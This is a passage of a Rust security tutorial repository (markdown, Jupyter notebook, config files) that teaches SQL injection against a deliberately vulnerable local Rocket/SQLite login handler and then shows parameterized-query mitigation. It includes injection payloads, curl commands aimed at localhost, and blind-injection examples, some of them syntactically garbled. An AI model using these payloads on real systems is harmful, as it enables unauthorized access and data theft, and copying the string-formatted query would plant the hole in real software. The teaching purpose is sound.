msgpack = 1MiB, string = 8KiB 425 | >> temp dir: /tmp 426 | >> http/2: true 427 | >> keep-alive: 5s 428 | >> tls: disabled 429 | >> shutdown: ctrlc = true, force = true, signals = [SIGTERM], grace = 2s, mercy = 3s 430 | >> log level: normal 431 | >> cli colors: true 432 | Routes: 433 | >> (login) POST /login 434 | >> (register) POST /register 435 | Fairings: 436 | >> 'sqlite_db' Database Pool (ignite, shutdown) 437 | >> Shield (liftoff, response, singleton) 438 | Shield: 439 | >> X-Content-Type-Options: nosniff 440 | >> X-Frame-Options: SAMEORIGIN 441 | >> Permissions-Policy: interest-cohort=() 442 | Rocket has launched from http://127.0.0.1:8000 443 | POST /login application/x-www-form-urlencoded: 444 | >> Matched: (login) POST /login 445 | >> Outcome: Success(200 OK) 446 | >> Response succeeded. 447 | POST /login application/x-www-form-urlencoded: 448 | >> Matched: (login) POST /login 449 | >> Outcome: Success(200 OK) 450 | >> Response succeeded. 451 | 452 | 453 | ### 6. SQL Injection Mitigation 454 | 455 | To mitigate SQL injection vulnerabilities, it's highly recommended to use parameterized queries or [**prepared statements**](https://en.wikipedia.org/wiki/Prepared_statement) provided by the SQL library you are using (in this case, `sqlx`). Parameterized queries ensure that user inputs are treated as data rather than executable code, thus preventing SQL injection attacks. Let's explore the following example of how you might use parameterized queries with `sqlx`: 456 | 457 | ```rust 458 | let query_result = sqlx::query( 459 | "SELECT * FROM users WHERE username = ? AND password = ?", 460 | ) 461 | .bind(username) 462 | .bind(password); 463 | ``` 464 | 465 | This way, the SQL library will handle the proper escaping and quoting of user inputs, making it resistant to SQL injection attacks. Always prioritize using parameterized queries or prepared statements to enhance the security of your application. 466 | 467 | Having explored SQL injection within the context of the SQLite database, you may wonder whether this vulnerability extends to NoSQL databases. Contrary to the implications of the nomenclature, a subsequent exploration of NoSQL databases reveals a nuanced landscape, challenging the idea of straightforwardly refuting the assumption. 468 | 469 | ### TODO: 7. SQL Injection In NoSQL Databases (MongoDB?) 470 | 471 | ### 8. Conclusion 472 | 473 | In conclusion, the danger of SQL Injection takes large shape over web applications, demanding a proactive and careful approach to security. By understanding the mechanics of SQL injection attacks and implementing robust defensive strategies, you can safeguard your applications from the bad exploits that threaten the integrity of databases and the confidentiality of sensitive information. 474 | 475 | --- 476 | --- 477 | -------------------------------------------------------------------------------- /chapter-6/chapter-6.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "65251ca9-6af1-41ba-ad59-27122db78758", 6 | "metadata": {}, 7 | "source": [ 8 | "# Chapter 6: SQL Injection in Rust\n", 9 | "\n", 10 | "## Introduction\n", 11 | "\n", 12 | "In the complex landscape of real-world [**web applications**](https://en.wikipedia.org/wiki/Web_application), a fundamental aspect involves the storage and retrieval of data from [**databases**](https://en.wikipedia.org/wiki/Database). The orchestration of this data exchange requires the construction of [**SQL (Structured Query Language)**](https://en.wikipedia.org/wiki/SQL) statements by web applications. These statements are subsequently dispatched to the associated database, where they are executed, and the outcomes are then relayed back to the web application. The crux of the matter lies in the fact that SQL statements frequently encapsulate user-provided data. If the construction of these statements is not carefully handled, a vulnerability emerges, enabling an exploit known as [**SQL Injection**](https://en.wikipedia.org/wiki/SQL_injection).\n", 13 | "\n", 14 | "[**SQL Injection**](https://owasp.org/www-community/attacks/SQL_Injection) stands as one of the most common and evil blunders within the world of web applications. SQL Injection attack involves the careful injection of malicious code into the SQL statement, thereby manipulating the behavior of the database to execute unintended commands. This tricky manipulation of the SQL query can lead to [**unauthorized access**](https://en.wikipedia.org/wiki/Computer_security), [**data exfiltration**](https://en.wikipedia.org/wiki/Data_exfiltration), or even the manipulation of [**sensitive information**](https://en.wikipedia.org/wiki/Information_sensitivity) within the database.\n", 15 | "\n", 16 | "A comprehensive understanding of how SQL injection attacks operate is important for both developers and security practitioners. By the end of this chapter, you will gain insights into the potential entry points exploited by malicious actors seeking to compromise the security of web applications. In particular, we'll dive into attacking [**Rocket**](https://rocket.rs/v0.5) web apps, showing you how vulnerabilities play out in the real world. This hands-on experience is key for understanding how these attacks work, making you more savvy about keeping your apps safe." 17 | ] 18 | }, 19 | { 20 | "cell_type": "markdown", 21 | "id": "f068eef0-43d7-4232-9986-e8964253d5f9", 22 | "metadata": {}, 23 | "source": [ 24 | "## Table of Contents\n", 25 | "\n", 26 | "* [**SQL Injection Overview**](#1.-SQL-Injection-Overview)\n", 27 | "* [**Gathering User Input**](#2.-Gathering-User-Input)\n", 28 | "* [**Fetching Data From the Database**](#3.-Fetching-Data-From-the-Database)\n", 29 | "* [**SQL Injection Exploitation**](#4.-SQL-Injection-Exploitation)\n", 30 | " * [**Blind SQL Injection**](#4.1-Blind-SQL-Injection)\n", 31 | "* [**SQL Injection Through cURL**](#5.-SQL-Injection-Through-cURL)\n", 32 | " * [**Blind Based cURL SQL Injection**](#5.1-Blind-Based-cURL-SQL-Injection)\n", 33 | "* [**SQL Injection Mitigation**](#6.-SQL-Injection-Mitigation)\n", 34 | "* [**TODO: SQL Injection In NoSQL Databases (MongoDB?)**](#)\n", 35 | "* [**Conclusion**](#8.-Conclusion)" 36 | ] 37 | }, 38 | { 39 | "cell_type": "markdown", 40 | "id": "9c84e722-40b4-4819-a7ee-7423ea4a9e2a", 41 | "metadata": {}, 42 | "source": [ 43 | "### 1. SQL Injection Overview\n", 44 | "\n", 45 | "The process begins with the generation of a SQL statement by the web application. This statement is typically constructed with user input data, a crucial point of vulnerability. When developers fail to implement adequate safeguards, attackers can exploit this weakness by injecting malicious SQL code directly into the input fields of the web application. The malicious payload becomes seamlessly integrated into the SQL statement, essentially working on the legitimate data provided by users.\n", 46 | "\n", 47 | "To illustrate, consider a scenario where a web application accepts user credentials for authentication. The SQL statement responsible for verifying these credentials might look something like this:\n", 48 | "\n", 49 | "```sql\n", 50 | "SELECT * FROM users WHERE username = 'username' AND password = 'password';\n", 51 | "```\n", 52 | "\n", 53 | "In this example, the **username** and **password** are variables representing user-provided data. However, if the web application fails to properly validate and sanitize these inputs, an attacker could input the following credentials:\n", 54 | "\n", 55 | "```sql\n", 56 | "' OR '1'='1'; --\n", 57 | "```\n", 58 | "\n", 59 | "The manipulated SQL statement now becomes:\n", 60 | "\n", 61 | "```sql\n", 62 | "SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = 'password';\n", 63 | "```\n", 64 | "\n", 65 | "Due to the injected code, the condition '1'='1' always evaluates to true, essentially bypassing the authentication process and granting unauthorized access to the system.\n", 66 | "\n", 67 | "To secure web applications against SQL Injection attacks, you must adopt a multi-step approach. Implementing [**parameterized queries**](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html), [**input validation**](https://en.wikipedia.org/wiki/Data_sanitization), and utilizing [**prepared statements**](https://en.wikipedia.org/wiki/Prepared_statement) are pivotal defensive measures. Parameterized queries ensure that user-input data is treated as data rather than executable code, preventing any attempts at code injection. Input validation involves evaluating user inputs to ensure they adhere to expected formats, mitigating the risk of malformed data causing vulnerabilities. Prepared statements offer an additional layer of defense by separating SQL code from user-provided data." 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "id": "5d7f6e7c-46de-48a9-8da4-fe208548ff98", 73 | "metadata": {}, 74 | "source": [ 75 | "### 2. Gathering User Input\n", 76 | "\n", 77 | "Understanding how users interact with web applications is key to building effective and secure systems. As illustrated in the following diagram, web browsers serve as the gateway for users to input information, subsequently communicating with the web application server through HTTP requests. These requests carry user inputs, and the method of attachment varies based on whether it's a GET or POST request.\n", 78 | "\n", 79 | "```sh\n", 80 | "\n", 81 | "+----------------------+ +--------------------------+\n", 82 | "| User Form Input | | |\n", 83 | "| Web Browser | | Web Server |\n", 84 | "| | | |\n", 85 | "+----------+-----------+ +--------------+-----------+\n", 86 | " | |\n", 87 | " | HTTP Request (GET or POST) |\n", 88 | " +---------------------------------------->|\n", 89 | " | |\n", 90 | " | |\n", 91 | " | V\n", 92 | " | +-------------+----------+\n", 93 | " | | |\n", 94 | " | | Process User Input |\n", 95 | " | | and Construct HTTP |\n", 96 | " | | Request | \n", 97 | " | | |\n", 98 | " | +-------------+----------+ \n", 99 | " | | \n", 100 | " | |\n", 101 | " | HTTP Response |\n", 102 | " <-----------------------------------------+ \n", 103 | "```\n", 104 | "\n", 105 | "Consider a scenario where a web page contains a simple form. This form consists of input fields for the user's username and password. When users type in their information and click the Submit button, an HTTP request is triggered, encapsulating the entered data. The HTML snippet below exemplifies the form structure:\n", 106 | "\n", 107 | "```html\n", 108 | "
\n", 109 | "
Username:
\n", 110 | "
Password:
\n", 111 | " \n", 112 | "
\n", 113 | "```\n", 114 | "\n", 115 | "Upon submission, the generated HTTP request URL might look like:\n", 116 | "\n", 117 | "```\n", 118 | "http://127.0.0.1:8000/login?username=user&password=paswd\n", 119 | "```\n", 120 | "\n", 121 | "Here, it's important to note that in the above example, the use of the HTTP protocol is for simplicity, and in a secure environment, HTTPS would be the preferred choice.\n", 122 | "\n", 123 | "When this request reaches the designated endpoint in the Rocket web framework (e.g., /login), the parameters are extracted from the request object. The corresponding Rust handler code could be as follows:\n", 124 | "\n", 125 | "```rust\n", 126 | "#[post(\"/login\", data = \"\")]\n", 127 | "async fn login(mut conn: Connection, user_data: Form) -> Result {\n", 128 | " let username = &user_data.username;\n", 129 | " let password = &user_data.password;\n", 130 | "}\n", 131 | "\n", 132 | "```" 133 | ] 134 | }, 135 | { 136 | "cell_type": "markdown", 137 | "id": "feae367e-4288-4f19-9627-fcb4610d2359", 138 | "metadata": {}, 139 | "source": [ 140 | "### 3. Fetching Data From the Database\n", 141 | "\n", 142 | "Web applications often need to interact with databases to retrieve or store information. In the given scenario, when a user provides their usrname and password via the form, the objective is to fetch additional data from the database if the correct password is provided.\n", 143 | "\n", 144 | "The user data is stored in an SQLite database, and the code snippet below demonstrates connecting to the database using the `sqlx` crate through [**`rocket_db_pools`**](https://api.rocket.rs/v0.5/rocket_db_pools/index.html) and executing a query:\n", 145 | "\n", 146 | "```rust\n", 147 | "#[macro_use]\n", 148 | "extern crate rocket;\n", 149 | "use rocket::Error;\n", 150 | "\n", 151 | "use rocket::form::Form;\n", 152 | "use rocket_db_pools::sqlx::{self, Row};\n", 153 | "use rocket_db_pools::{Connection, Database};\n", 154 | "\n", 155 | "#[derive(Database)]\n", 156 | "#[database(\"sqlite_db\")]\n", 157 | "struct DbConn(sqlx::SqlitePool);\n", 158 | "\n", 159 | "#[derive(Debug, FromForm)]\n", 160 | "struct UserData {\n", 161 | " username: String,\n", 162 | " password: String,\n", 163 | "}\n", 164 | "\n", 165 | "#[post(\"/login\", data = \"\")]\n", 166 | "async fn login(mut conn: Connection, user_data: Form) -> Result {\n", 167 | " let username = &user_data.username;\n", 168 | " let password = &user_data.password;\n", 169 | "\n", 170 | " let query_result = sqlx::query(&format!(\n", 171 | " \"SELECT * FROM users WHERE username = '{}' AND password = '{}'\",\n", 172 | " username, password\n", 173 | " ))\n", 174 | " .fetch_one(&mut **conn)\n", 175 | " .await\n", 176 | " .and_then(|r| {\n", 177 | " let username: Result = Ok::(r.get::(0));\n", 178 | " let password: Result = Ok::(r.get::(1));\n", 179 | " Ok((username, password))\n", 180 | " })\n", 181 | " .ok();\n", 182 | "\n", 183 | " match query_result {\n", 184 | " Some((username, password)) => Ok(format!(\n", 185 | " \"username: {}, password: {}\",\n", 186 | " username.unwrap(),\n", 187 | " password.unwrap()\n", 188 | " )),\n", 189 | " None => Err(\"User not found\".into()),\n", 190 | " }\n", 191 | "}\n", 192 | "```\n", 193 | "\n", 194 | "This code snippet showcases the connection to an SQLite database using `sqlx`, construction of a SQL query based on user input, execution of the query, and processing of the results. It's crucial to emphasize the need to secure this endpoint, as user input becomes part of the SQL query executed by the database, underlining the importance of preventing SQL Injection vulnerabilities." 195 | ] 196 | }, 197 | { 198 | "cell_type": "markdown", 199 | "id": "2e10ad66-455c-4444-a3f9-1c4ad4ada705", 200 | "metadata": {}, 201 | "source": [ 202 | "### 4. SQL Injection Exploitation\n", 203 | "\n", 204 | "To comprehend the vulnerabilities associated with SQL injection attacks, let's simplify the complex interactions between the browser, web application, and database. Imagine the web application creating an SQL statement template, leaving a blank space for the user to input data. Whatever the user provides in this space becomes an integral part of the SQL statement. The critical question is whether a user can manipulate the SQL statement's meaning.\n", 205 | "\n", 206 | "```sql\n", 207 | "SELECT *\n", 208 | "FROM users\n", 209 | "WHERE username=' ' AND password=' '\n", 210 | "```\n", 211 | "\n", 212 | "The developer's intention is for users to fill in the blanks with data. However, consider the scenario where a user inputs special characters. For instance, if a user types the random string `'pass'` in the password entry and `user' --` in the username field, the SQL statement becomes:\n", 213 | "\n", 214 | "```sql\n", 215 | "SELECT *\n", 216 | "FROM users\n", 217 | "WHERE username= 'user' -- AND password= 'pass'\n", 218 | "```\n", 219 | "\n", 220 | "As everything from the `--` characters to the end of the line is treated as a comment, the SQL statement is now equivalent to:\n", 221 | "\n", 222 | "```sql\n", 223 | "SELECT *\n", 224 | "FROM users\n", 225 | "WHERE username= 'user'\n", 226 | "```\n", 227 | "\n", 228 | "By cleverly using special characters like single quotes (') and two dashes (`--`), the meaning of the SQL statement has been successfully altered. The resulting query would retrieve the all info of the user with 'user' username, even if the user is unaware of **user**'s password. This constitutes a significant security breach.\n", 229 | "\n", 230 | "Taking this a step further, let's explore the possibility of extracting all records from the database. Assuming we don't know all the usernames, we need to create a predicate for the WHERE clause that is always true for all records. Since '1=1' is always true, inputting `admin' OR 1=1` -- in the username form entry results in the following SQL statement:\n", 231 | "\n", 232 | "```sql\n", 233 | "SELECT *\n", 234 | "FROM users\n", 235 | "WHERE username= 'admin' OR 1=1\n", 236 | "```\n", 237 | "\n", 238 | "This SQL statement, when executed, retrieves all records from the database." 239 | ] 240 | }, 241 | { 242 | "cell_type": "markdown", 243 | "id": "10aa174d-f6c3-4c7e-8f78-bdae826de73b", 244 | "metadata": { 245 | "jp-MarkdownHeadingCollapsed": true 246 | }, 247 | "source": [ 248 | "#### 4.1 Blind SQL Injection\n", 249 | "\n", 250 | "In the database security domain, [**blind SQL injection**](https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection) poses a daunting challenge. This phenomenon occurs when attackers interact with databases without immediate access to the outcomes of their actions, a scenario often encountered in the absence of record outputs.\n", 251 | "\n", 252 | "An illustrative instance of blind SQL injection lies in the [**authentication**](https://en.wikipedia.org/wiki/Authentication) bypass, although its scope extends beyond such scenarios. The technique involves an [**inference attack**](https://en.wikipedia.org/wiki/Inference_attack), in which attackers, lacking direct visibility into the database responses, strategically attempt to leak information through logical assumptions derived from web responses.\n", 253 | "\n", 254 | "A key tactic employed in blind SQL injection is the introduction of an arbitrary time delay in the query submission. This strategic delay serves as an initiation test for an application's vulnerability to SQL injection. By inspecting the application's response time, an attacker can recognise potential vulnerabilities.\n", 255 | "\n", 256 | "```sh\n", 257 | " +-----------------+\n", 258 | " | Introduce |\n", 259 | " | Time Delay |\n", 260 | " +--------+--------+\n", 261 | " |\n", 262 | " v\n", 263 | " +-----------------+\n", 264 | " | Check App for |\n", 265 | " | Vulnerability |\n", 266 | " +--------+--------+\n", 267 | " |\n", 268 | " v\n", 269 | " +-----------------+\n", 270 | " | Assess with |\n", 271 | " | Boolean Checks |\n", 272 | " +--------+--------+\n", 273 | " |\n", 274 | " v\n", 275 | " +-----------------+\n", 276 | " | Use Time-Based |\n", 277 | " | SQL Injection |\n", 278 | " +--------+--------+\n", 279 | " |\n", 280 | " v\n", 281 | " +-----------------+\n", 282 | " | Analyze App |\n", 283 | " | Delayed Response|\n", 284 | " +--------+--------+\n", 285 | " |\n", 286 | " v\n", 287 | " +-----------------+\n", 288 | " | Combine Time & |\n", 289 | " | Boolean Tactics |\n", 290 | " +--------+--------+\n", 291 | " |\n", 292 | " v\n", 293 | " +-----------------+\n", 294 | " | Inject More |\n", 295 | " | Queries if Able |\n", 296 | " +--------+--------+\n", 297 | " |\n", 298 | " v\n", 299 | " +-----------------+\n", 300 | " | Exploit |\n", 301 | " | Vulnerabilities |\n", 302 | " +-----------------+\n", 303 | "```\n", 304 | "\n", 305 | "Further complexities come from boolean-based blind injection, where attackers manipulate statements that could be true or false. By observing variations in the application's responses to injected statements, attackers can deduce the presence of vulnerabilities and subsequently manipulate the database.\n", 306 | "\n", 307 | "Time-based SQL injection introduces an additional layer of sophistication. In instances where true and false results lack detectable differences, attackers leverage functions such as [`sqlite3_sleep`](https://www.sqlite.org/c3ref/sleep.html) to artificially delay query execution. This method introduces a temporal element, where, for example, the application may pause for a specified duration before responding.\n", 308 | "\n", 309 | "Databases have different functionalities in this context. SQLITE does not have a native `SLEEP` function like some other database management systems (e.g. MYSQL). However, you can achieve a similar delay using a combination of the `SELECT` statement and the `sqlite3_sleep` extension function. Let's create a sleep-like delay in SQLite:\n", 310 | "\n", 311 | "```sql\n", 312 | "SELECT sqlite3_sleep(3000);\n", 313 | "```\n", 314 | "\n", 315 | "In this example, `sqlite3_sleep(3000)` pauses the execution for 3000 milliseconds, which is equivalent to 3 seconds. The combination of time delays and Boolean queries becomes a powerful strategy, where an attacker may construct queries like:\n", 316 | "\n", 317 | "```sql\n", 318 | "SELECT IF substring(field,1,1)='val' sqlite3_sleep(3000);\n", 319 | "```\n", 320 | "\n", 321 | "relying on the delay gap in responses as a critical signal. An additional tactic, known as **splitting and balancing**, involves crafting functionally identical queries that appear different. This technique allows attackers to inject additional queries while maintaining the integrity of parentheses and quotes, thereby generating legitimate SQL queries. Imagine a scenario where an attacker seeks to manipulate a database through the following safe-looking query:\n", 322 | "\n", 323 | "```sql\n", 324 | "SELECT username FROM users WHERE id = 1\n", 325 | "```\n", 326 | "\n", 327 | "Now, the attacker wants to inject additional queries carefully while ensuring the overall query remains syntactically valid. The following is an example of how they might utilize the **splitting and balancing** technique:\n", 328 | "\n", 329 | "```sql\n", 330 | "-- Original Query\n", 331 | "SELECT username FROM users WHERE id = 1\n", 332 | "\n", 333 | "-- Functionally Identical Query (Different Appearance)\n", 334 | "SELECT username FROM users WHERE id = 2-1\n", 335 | "```\n", 336 | "\n", 337 | "In this example, the second query appears different due to the arithmetic operation (`2-1`), but it is functionally identical to the original query. The attacker has injected their manipulation by maintaining the balance of parentheses and quotes. This ensures that the injected query, though seemingly different, aligns with the expected SQL syntax, thereby allowing the attacker to introduce additional queries without triggering syntax errors.\n", 338 | "\n", 339 | "Now, the magic happens when the attacker exploits this technique to introduce more complexity:\n", 340 | "\n", 341 | "```sql\n", 342 | "-- Original Query\n", 343 | "SELECT username FROM users WHERE id = 1\n", 344 | "\n", 345 | "-- Functionally Identical Query with a Nested Sub-Query (Disguised)\n", 346 | "SELECT username FROM users WHERE id = 1 + (SELECT password FROM users WHERE user_id = 1)\n", 347 | "```\n", 348 | "\n", 349 | "Here, the appearance of the query hides the true nature of the injected query. The attacker can now insert nested sub-queries between parentheses, orchestrating a series of operations while keeping the obvious appearance consistent with legitimate SQL syntax." 350 | ] 351 | }, 352 | { 353 | "cell_type": "markdown", 354 | "id": "fadc09fc-a39d-4410-b1e3-fe0b6b0bbc39", 355 | "metadata": {}, 356 | "source": [ 357 | "### 5. SQL Injection Through cURL\n", 358 | "\n", 359 | "In the previous section, we have explored sql injection using forms. However, it's often more convenient to utilize a command-line tool for automation. [**cURL**](https://curl.se/) is a widely-known command-line utility for sending data over various network protocols, including HTTP and HTTPS. Using cURL, we can send a form from the command line rather than a web page. Consider the following example:\n", 360 | "\n", 361 | "```sh\n", 362 | "$ curl -X POST \\\n", 363 | " -H \"Content-Type: application/x-www-form-urlencoded\" \\\n", 364 | " -d \"username=admin' OR '1'='1' --&password=your_password\" \\\n", 365 | " http://127.0.0.1:8000/login\n", 366 | "```\n", 367 | "\n", 368 | "This command successfully retrieves records from the database, illustrating the potential impact of SQL injection attacks when exploiting vulnerabilities in user input handling.\n", 369 | "\n", 370 | "\n", 371 | "```sh\n", 372 | "+----------------------+ +------------------------+\n", 373 | "| | | |\n", 374 | "| User (cURL) | | Web Server (Rocket) |\n", 375 | "| | | |\n", 376 | "+----------------------+ +------------------------+\n", 377 | " | |\n", 378 | " | |\n", 379 | " V |\n", 380 | "+----------------------+ |\n", 381 | "| | |\n", 382 | "| Input | |\n", 383 | "| | |\n", 384 | "+----------------------+ |\n", 385 | " | |\n", 386 | " | +-------------------------+\n", 387 | " | | Handling User Input |\n", 388 | " | | and Constructing SQL |\n", 389 | " +---------------------------->| Statement |\n", 390 | " | |\n", 391 | " +-------------------------+\n", 392 | " |\n", 393 | " V\n", 394 | " +------------------------+\n", 395 | " | SQL Statement |\n", 396 | " | with Malicious |\n", 397 | " | User Input |\n", 398 | " +------------------------+\n", 399 | " |\n", 400 | " V\n", 401 | " +------------------------+\n", 402 | " | Authentication Check | \n", 403 | " | and User Validation | \n", 404 | " +------------------------+ \n", 405 | " |\n", 406 | "+------------------------+ |\n", 407 | "| Response | |\n", 408 | "| (All Records) |<---------------------------+ \n", 409 | "+------------------------+\n", 410 | "```" 411 | ] 412 | }, 413 | { 414 | "cell_type": "markdown", 415 | "id": "412032d4-5cde-473f-ac6b-40f78f49aa8f", 416 | "metadata": {}, 417 | "source": [ 418 | "#### 5.1 Blind Based cURL SQL Injection\n", 419 | "\n", 420 | "As you learned from the previous sections, in SQLite, time-based SQL injection can be trickier because SQLite does not have a built-in `SLEEP` function like other database management systems. However, you can leverage certain functions or tasks that take time to execute. Here's an example using SQLite:\n", 421 | "\n", 422 | "```bash\n", 423 | "$ curl -X POST \\\n", 424 | " -H \"Content-Type: application/x-www-form-urlencoded\" \\\n", 425 | " --data-urlencode \"username=admin' AND SELECT sqlite3_sleep(3000) --\" \\\n", 426 | " --data-urlencode \"password=pass\" \\\n", 427 | " http://127.0.0.1:8000/login\n", 428 | "```\n", 429 | "\n", 430 | "In this example, the payload includes a subquery using `sqlite3_sleep(3000)` within a `CASE` statement. If the condition `(1=1)` is true, it will execute the sleep function, causing a delay. If false, it performs `0`. The `--` at the end is used to comment out the remainder of the query.\n", 431 | "\n", 432 | "Now, let's consider a basic example of using cURL for a time-based SQL injection with the splitting and balancing technique:\n", 433 | "\n", 434 | "```bash\n", 435 | "$ curl -X POST \\\n", 436 | " -H \"Content-Type: application/x-www-form-urlencoded\" \\\n", 437 | " --data-urlencode \"username=admin' AND (SELECT 1 FROM users WHERE username = 'admin') = 1 --\" \\\n", 438 | " --data-urlencode \"password=pass\" \\\n", 439 | " http://127.0.0.1:8000/login\n", 440 | "```\n", 441 | "\n", 442 | "In this example, the payload attempts to check if the username is `'admin'`. If it is, the condition `(SELECT 1 FROM users WHERE username = 'admin') = 1` becomes true, and the authentication should proceed. If not, it becomes false." 443 | ] 444 | }, 445 | { 446 | "cell_type": "code", 447 | "execution_count": 2, 448 | "id": "11ce5a80-24d3-41f8-afca-e74007d4b7fc", 449 | "metadata": {}, 450 | "outputs": [], 451 | "source": [ 452 | "use std::process::{Command, Output, Stdio};\n", 453 | "\n", 454 | "// A helper function to execute a shell command from a Rust script\n", 455 | "fn execute_command(command: &str) -> Result<(), std::io::Error> {\n", 456 | " let status = Command::new(\"bash\")\n", 457 | " .arg(\"-c\")\n", 458 | " .arg(command)\n", 459 | " .stderr(Stdio::inherit())\n", 460 | " .status()?;\n", 461 | "\n", 462 | " if status.success() {\n", 463 | " Ok(())\n", 464 | " } else {\n", 465 | " Err(std::io::Error::from_raw_os_error(status.code().unwrap_or(1)))\n", 466 | " }\n", 467 | "}" 468 | ] 469 | }, 470 | { 471 | "cell_type": "code", 472 | "execution_count": null, 473 | "id": "a2d60a18-8181-42ab-ae1d-573d08ab7798", 474 | "metadata": {}, 475 | "outputs": [ 476 | { 477 | "name": "stderr", 478 | "output_type": "stream", 479 | "text": [ 480 | " Finished dev [unoptimized + debuginfo] target(s) in 0.13s\n", 481 | " Running `target/debug/sql-injection`\n" 482 | ] 483 | }, 484 | { 485 | "name": "stdout", 486 | "output_type": "stream", 487 | "text": [ 488 | "Configured for debug.\n", 489 | " >> address: 127.0.0.1\n", 490 | " >> port: 8000\n", 491 | " >> workers: 8\n", 492 | " >> max blocking threads: 512\n", 493 | " >> ident: Rocket\n", 494 | " >> IP header: X-Real-IP\n", 495 | " >> limits: bytes = 8KiB, data-form = 2MiB, file = 1MiB, form = 32KiB, json = 1MiB, msgpack = 1MiB, string = 8KiB\n", 496 | " >> temp dir: /tmp\n", 497 | " >> http/2: true\n", 498 | " >> keep-alive: 5s\n", 499 | " >> tls: disabled\n", 500 | " >> shutdown: ctrlc = true, force = true, signals = [SIGTERM], grace = 2s, mercy = 3s\n", 501 | " >> log level: normal\n", 502 | " >> cli colors: true\n", 503 | "Routes:\n", 504 | " >> (login) POST /login\n", 505 | " >> (register) POST /register\n", 506 | "Fairings:\n", 507 | " >> 'sqlite_db' Database Pool (ignite, shutdown)\n", 508 | " >> Shield (liftoff, response, singleton)\n", 509 | "Shield:\n", 510 | " >> X-Content-Type-Options: nosniff\n", 511 | " >> X-Frame-Options: SAMEORIGIN\n", 512 | " >> Permissions-Policy: interest-cohort=()\n", 513 | "Rocket has launched from http://127.0.0.1:8000\n", 514 | "POST /login application/x-www-form-urlencoded:\n", 515 | " >> Matched: (login) POST /login\n", 516 | " >> Outcome: Success(200 OK)\n", 517 | " >> Response succeeded.\n", 518 | "POST /login application/x-www-form-urlencoded:\n", 519 | " >> Matched: (login) POST /login\n", 520 | " >> Outcome: Success(200 OK)\n", 521 | " >> Response succeeded.\n" 522 | ] 523 | } 524 | ], 525 | "source": [ 526 | "let command = \"cd sql-injection && cargo run\";\n", 527 | "\n", 528 | "if let Err(err) = execute_command(command) {\n", 529 | " eprintln!(\"Error executing command: {}\", err);\n", 530 | "}\n", 531 | "\n", 532 | "// In a separate terminal, execute the following cURL command:\n", 533 | "\n", 534 | "// curl -X POST \\\n", 535 | "// -H \"Content-Type: application/x-www-form-urlencoded\" \\\n", 536 | "// -d \"username=admin' OR '1'='1' --&password=your_password\" \\\n", 537 | "// http://127.0.0.1:8000/login\n", 538 | "\n", 539 | "// You will get the username and password for the first user in the database:\n", 540 | "// username: mahmoud, password: pass" 541 | ] 542 | }, 543 | { 544 | "cell_type": "markdown", 545 | "id": "06cc2541-f20d-4abf-950a-97b1c5b6ce99", 546 | "metadata": {}, 547 | "source": [ 548 | "### 6. SQL Injection Mitigation\n", 549 | "\n", 550 | "To mitigate SQL injection vulnerabilities, it's highly recommended to use parameterized queries or [**prepared statements**](https://en.wikipedia.org/wiki/Prepared_statement) provided by the SQL library you are using (in this case, `sqlx`). Parameterized queries ensure that user inputs are treated as data rather than executable code, thus preventing SQL injection attacks. Let's explore the following example of how you might use parameterized queries with `sqlx`:\n", 551 | "\n", 552 | "```rust\n", 553 | "let query_result = sqlx::query(\n", 554 | " \"SELECT * FROM users WHERE username = ? AND password = ?\",\n", 555 | ")\n", 556 | ".bind(username)\n", 557 | ".bind(password);\n", 558 | "```\n", 559 | "\n", 560 | "This way, the SQL library will handle the proper escaping and quoting of user inputs, making it resistant to SQL injection attacks. Always prioritize using parameterized queries or prepared statements to enhance the security of your application." 561 | ] 562 | }, 563 | { 564 | "cell_type": "markdown", 565 | "id": "db14711c-e3c9-4acc-8568-101c3839c0ed", 566 | "metadata": {}, 567 | "source": [ 568 | "Having explored SQL injection within the context of the SQLite database, you may wonder whether this vulnerability extends to NoSQL databases. Contrary to the implications of the nomenclature, a subsequent exploration of NoSQL databases reveals a nuanced landscape, challenging the idea of straightforwardly refuting the assumption." 569 | ] 570 | }, 571 | { 572 | "cell_type": "markdown", 573 | "id": "414ca660-98d4-4105-bede-d01525718615", 574 | "metadata": {}, 575 | "source": [ 576 | "### TODO: 7. SQL Injection In NoSQL Databases (MongoDB?)" 577 | ] 578 | }, 579 | { 580 | "cell_type": "markdown", 581 | "id": "adc4f0bc-d120-4c90-84f0-e5c2e446cc3f", 582 | "metadata": {}, 583 | "source": [ 584 | "### 8. Conclusion\n", 585 | "\n", 586 | "In conclusion, the danger of SQL Injection takes large shape over web applications, demanding a proactive and careful approach to security. By understanding the mechanics of SQL injection attacks and implementing robust defensive strategies, you can safeguard your applications from the bad exploits that threaten the integrity of databases and the confidentiality of sensitive information." 587 | ] 588 | }, 589 | { 590 | "cell_type": "markdown", 591 | "id": "3cc240e1-7644-4138-bcd3-edc4796901ff", 592 | "metadata": {}, 593 | "source": [ 594 | "---\n", 595 | "---" 596 | ] 597 | } 598 | ], 599 | "metadata": { 600 | "kernelspec": { 601 | "display_name": "Rust", 602 | "language": "rust", 603 | "name": "rust" 604 | }, 605 | "language_info": { 606 | "codemirror_mode": "rust", 607 | "file_extension": ".rs", 608 | "mimetype": "text/rust", 609 | "name": "Rust", 610 | "pygment_lexer": "rust", 611 | "version": "" 612 | } 613 | }, 614 | "nbformat": 4, 615 | "nbformat_minor": 5 616 | } 617 | -------------------------------------------------------------------------------- /chapter-6/chapter-6.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-6/chapter-6.pdf -------------------------------------------------------------------------------- /chapter-6/sql-injection/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "sql-injection" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | rocket = "0.5.0" 10 | rocket_db_pools = { version = "0.1.0", features = ["sqlx_sqlite"] } 11 | -------------------------------------------------------------------------------- /chapter-6/sql-injection/Rocket.toml: -------------------------------------------------------------------------------- 1 | [default.databases.sqlite_db] 2 | url = "db.sqlite" 3 | 4 | # only `url` is required. the rest have defaults and are thus optional 5 | min_connections = 64 6 | 